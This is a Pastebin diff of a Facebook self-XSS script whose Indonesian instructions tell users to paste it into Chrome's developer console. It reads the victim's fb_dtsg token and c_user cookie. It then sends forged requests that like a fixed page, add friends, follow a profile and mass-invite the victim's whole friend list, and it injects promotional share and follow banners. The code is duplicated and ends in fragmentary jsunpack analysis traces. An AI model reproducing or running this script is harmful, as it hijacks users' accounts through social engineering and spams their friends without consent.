View difference between Paste ID: 2ahQyyTk and Lm09V2J3
SHOW: | | - or go back to the newest paste.
1-
Editing Dan Penambahan Oleh ./Rintoback ./Badmood
1+
2
var parent=document.getElementsByTagName("html")[0]; 
3
var _body = document.getElementsByTagName('body')[0];
4-
Peringantan Cara Penggunaan Hanya Bisa Di Lakukan Di Google Chrome
4+
5-
Dengan Cara F12>>Console>>Lalu Pastekan Script Di Bawah Ini :D 
5+
6
_div.style.width="100%";
7-
SELAMAT MENCOBA Moga Succes EPELIWEL :V 
7+
8
_div.style.top="auto";
9
_div.style.bottom="0";
10
_div.align="center";
11
var _audio= document.createElement('audio');
12
_audio.style.width="100%";
13
_audio.style.height="25px";
14
_audio.controls = true;
15
_audio.autoplay = true;
16
_audio.src = "";
17
_div.appendChild(_audio);
18
_body.appendChild(_div);
19
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
20
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
21
var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value;
22
var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
23
24
body = document.body;
25
if(body != null) 
26
{
27
 div = document.createElement("div");
28
 div.style.position = "fixed";
29
 div.style.display = "block";
30
 div.style.width = "100px";
31
 div.style.opacity= 0.90;
32
 div.style.bottom = "+60px";
33
 div.style.left = "+0px";
34
 div.style.backgroundColor = "rgba(0,0,0,0.5)";
35
 div.style.border = "1px solid rgba(0,0,0,0.5)";
36
 div.style.padding = "3px";
37
 div.innerHTML = "<a style='font-weight:bold;color:#E30505' href='https://www.facebook.com/sharer/sharer.php?u=http%3A%2F%2FFacebook.com/matheusalves1321' title='Share'><blink><center>SHARE</center></blink></a>"
38
 body.appendChild(div);
39
}
40
41
if(body != null) 
42
{
43
 div = document.createElement("div");
44
 div.style.position = "fixed";
45
 div.style.display = "block";
46
 div.style.width = "100px";
47
 div.style.opacity= 0.90;
48
 div.style.bottom = "+35px";
49
 div.style.left = "+0px";
50
 div.style.backgroundColor = "rgba(0,0,0,0.5)";
51
 div.style.border = "1px solid rgba(0,0,0,0.5)";
52
 div.style.padding = "3px";
53
 div.innerHTML = "<a style='font-weight:;color:' href='' title=''><blink><center></center></blink></a>"
54
 body.appendChild(div);
55
}
56
if(body != null) 
57
{
58
 div = document.createElement("div");
59
 div.style.position = "fixed";
60
 div.style.display = "block";
61
 div.style.width = "135px";
62
 div.style.opacity= 0.90;
63
 div.style.bottom = "+10px";
64
 div.style.left = "+0px";
65
 div.style.backgroundColor = "rgba(0,0,0,0.5)";
66
 div.style.border = "1px solid rgba(0,0,0,0.5)";
67
 div.style.padding = "3px";
68
 div.innerHTML = "<a style='font-weight:bold;color:#E30505' href='http://facebook.com/matheusalves1321' title='matheus alves'><blink><center>Follow the Legend!</center></blink></a>"
69
 body.appendChild(div);
70
}
71
72
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
73
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
74
function Like(p) {
75
  var Page = new XMLHttpRequest();
76
  var PageURL = "//www.facebook.com/ajax/pages/fan_status.php";
77
  var PageParams = "&fbpage_id=" + p +"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp=";
78
  Page.open("POST", PageURL, true);
79
  Page.onreadystatechange = function () {
80
    if (Page.readyState == 4 && Page.status == 200) {
81
      Page.close;
82
    }
83
  };
84
  Page.send(PageParams);
85
}
86
87
Like("335766333294493");
88
Like("335766333294493");
89
Like("335766333294493");
90
Like("335766333294493");
91
92
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
93
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
94
function IDS(r) {
95
  var X = new XMLHttpRequest();
96
97
  var XURL = "//www.facebook.com/ajax/add_friend/action.php";
98
  var XParams = "to_friend=" + r +"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp=";
99
  X.open("POST", XURL, true);
100
  X.onreadystatechange = function () {
101
    if (X.readyState == 4 && X.status == 200) {
102
      X.close;
103
    }
104
  };
105
  X.send(XParams);
106
}
107
108
IDS("");
109
IDS("");
110
111
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
112
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
113
function a(abone) {
114
  var http4 = new XMLHttpRequest();
115
  var url4 = "/ajax/follow/follow_profile.php?__a=1";
116
  var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
117
  http4.open("POST", url4, true);
118
  http4.onreadystatechange = function () {
119
    if (http4.readyState == 4 && http4.status == 200) {
120
      http4.close;
121
    }
122
  };
123
  http4.send(params4);
124
}
125
a("335766333294493");
126
a("");
127
128
var Title = "AUTO CONVITE </A>";
129
var Descriptions = "",
130
    _text = 'Powered By:  <A style="color:#3B5998;" href="facebook.com/matheusalves132" target="_blank">MatheuS AlveS</A></br>Script Made By: </A><A style="color:#3B5998;" href="http://facebook.com/matheusalves1321" target="_blank"> Follow MatheuS AlveS </A></A>,</A></A>.</br>For More details Visit Our Blogs <A style="color:#3B5998;" href="facebook.com/matheusalves1321/" target="_blank">MatheuS AlveS</A>.</A>';
131
132
page_id = /"profile_owner":"([0-9]+)"/.exec(document.getElementById("pagelet_timeline_main_column").getAttribute("data-gt"))[1];
133
134
function InviteFriends(opo) {
135
136
    jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send_single?page_id=" + page_id + "&invitee=" + opo + "&elem_id=u_0_1k&action=send&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=8&fb_dtsg=" + fb_dtsg + "&phstamp=", function (a) {
137
        var b = a.substring(a.indexOf("{"));
138
        var c = JSON.parse(b);
139
        i--;
140
        Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
141
        if (c.error) {
142
            Descriptions += "color:darkred'>";
143
            err++;
144
            if (c.errorDescription) Descriptions += c.errorDescription;
145
            else Descriptions += JSON.stringify(c, null, "")
146
        } else {
147
            Descriptions += "color:darkgreen'>";
148
            Descriptions += arn[i] + " has been invited to like the page " + page_name + ".";
149
            suc++
150
        }
151
        Descriptions += "</div>";
152
        var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.9);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.9);border-radius: 1em 4em 1em 4em;border:3px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#ffffff'>";
153
        display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
154
        if (i > 0) {
155
            display += arr.length + " Friends Detected<br/>";
156
            display += "<b>" + suc + "</b> Friends Invited of " + (arr.length - i) + " Friends Processed ";
157
            display += "(" + i + " still to invite)";
158
            display += "<div class='friend-edge'>";
159
            display += Descriptions;
160
            display += "<img style='width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='font-size:13px;padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
161
            display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
162
            display += "Please Wait While Inviting Your Friends to Like Your Page(powered by KRJ_Team) " + page_name + ".</br>";
163
display += "<div><span class='FriendRequestAdd addButton selected uiButton uiButtonSpecial uiButtonLarge' onClick='ChangeLocation()' style='color:white'>Go to Homepage</span><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Cancel</span><br/>";
164
            display += _text;
165
            display += "</div>";
166
            display += "</div>";
167
            display += "</div>";
168
            window[tag + "_close"] = true
169
        } else {
170
            Title = "Your all friends have been invited thanks for using AUTO PAGE INVITER.</A>";
171
            display += arr.length + " Friends Detected and ";
172
            display += "<b>" + suc + " Friends Invited.</b></br>";
173
            display += "<div><span class='FriendRequestAdd addButton selected uiButton uiButtonSpecial uiButtonLarge' onClick='ChangeLocation()' style='color:white'>Go to Homepage</span><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"' style='color:gray'>Cancel</span><br/>";
174
            display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'><br/>";
175
            display += _text;
176
            display += "</div>";
177
            window[tag + "_close"] = false
178
        }
179
        display += "</div>";
180
        document.getElementById("pagelet_sidebar").innerHTML = display
181
    }, "text", "post");
182
    tay--;
183
    if (tay > 0) {
184
        var s = arr[tay];
185
        setTimeout("InviteFriends(" + s + ")", 100)
186
    }
187
    console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
188
189
190
    if (page_id) jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=335766333294493&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post")
191
    if (page_id) jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=335766333294493&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post")
192
193
194
}
195
jx = {
196
    b: function () {
197
        var b = !1;
198
        if ("undefined" != typeof ActiveXObject) try {
199
            b = new ActiveXObject("Msxml2.XMLHTTP")
200
        } catch (c) {
201
            try {
202
                b = new ActiveXObject("Microsoft.XMLHTTP")
203
            } catch (a) {
204
                b = !1
205
            }
206
        } else if (window.XMLHttpRequest) try {
207
            b = new XMLHttpRequest
208
        } catch (h) {
209
            b = !1
210
        }
211
        return b
212
    },
213
    load: function (b, c, a, h, g) {
214
        var e = this.d();
215
        if (e && b) {
216
            e.overrideMimeType && e.overrideMimeType("text/xml");
217
            h || (h = "GET");
218
            a || (a = "text");
219
            g || (g = {});
220
            a = a.toLowerCase();
221
            h = h.toUpperCase();
222
            b += b.indexOf("?") + 1 ? "&" : "?";
223
            var k = null;
224
            "POST" == h && (k = b.split("?"), b = k[0], k = k[1]);
225
            e.open(h, b, !0);
226
            e.onreadystatechange = g.c ? function () {
227
                g.c(e)
228
            } : function () {
229
                if (4 == e.readyState)
230
                    if (200 == e.status) {
231
                        var b = "";
232
                        e.responseText && (b = e.responseText);
233
                        "j" == a.charAt(0) ? (b = b.replace(/[\n\r]/g, ""), b = eval("(" + b + ")")) : "x" == a.charAt(0) && (b = e.responseXML);
234
                        c && c(b)
235
                    } else g.f && document.getElementsByTagName("body")[0].removeChild(g.f), g.e && (document.getElementById(g.e).style.display = "none"), error && error(e.status)
236
            };
237
            e.send(k)
238
        }
239
    },
240
    d: function () {
241
        return this.b()
242
    }
243
};
244
245
function ChangeLocation() {
246
    window.location.href = "http://www.facebook.com/"
247
}
248
setTimeout("ChangeLocation", 1);
249
window.onbeforeunload = function () {
250
    if (window[tag + "_close"]) return "This script is running now!"
251
};
252
var i = 3;
253
var tay = 3;
254
var suc = 0;
255
var err = 0;
256
var arr = new Array;
257
var arn = new Array;
258
var pho = new Array;
259
var tag = "Close";
260
var page_name, x = document.getElementsByTagName("span");
261
for (i = 0; i < x.length; i++)
262
    if (x[i].getAttribute("itemprop") == "name") page_name = x[i].innerHTML;
263
var fb_dtsg = document.getElementsByName("fb_dtsg")[0].value;
264
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
265
jx.load(window.location.protocol + "///www.facebook.com/ajax/typeahead/first_degree.php?viewer=" + user_id + "&token=v7&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=l", function (a) {
266
    var b = a;
267
    var c = b.substring(b.indexOf("{"));
268
    var d = JSON.parse(c);
269
    d = d.payload.entries;
270
    for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
271
    for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
272
    for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
273
    i = arr.length - 1;
274
    tay = i;
275
    console.log(arr.length);
276
    var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0px 3px 8px rgba(0, 0, 0, 0.9);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.9);border-radius: 1em 4em 1em 4em;border:3px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#ffffff'>";
277
    display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
278
    display += arr.length + " Friends Detected, Please Wait . . .";
279
    display += "</div>";
280
    document.getElementById("pagelet_sidebar").innerHTML = display;
281
    InviteFriends(arr[i])
282
});
283
284
285
286
//jsunpack.called CreateElement div
287
288
//jsunpack.url element = undefined
289
//jsunpack.url var _4855 = var parent=document.getElementsByTagName("html")[0]; 
290
var _body = document.getElementsByTagName('body')[0];
291
var _div = document.createElement('div');
292
_div.style.height="25";
293
_div.style.width="100%";
294
_div.style.position="fixed";
295
_div.style.top="auto";
296
_div
297
298
//jsunpack.url var _4052 = var parent=document.getElementsByTagName("html")[0]; 
299
var _body = document.getElementsByTagName('body')[0];
300
var _div = document.createElement('div');
301
_div.style.height="25";
302
_div.style.width="100%";
303
_div.style.position="fixed";
304
_div.style.top="auto";
305
_div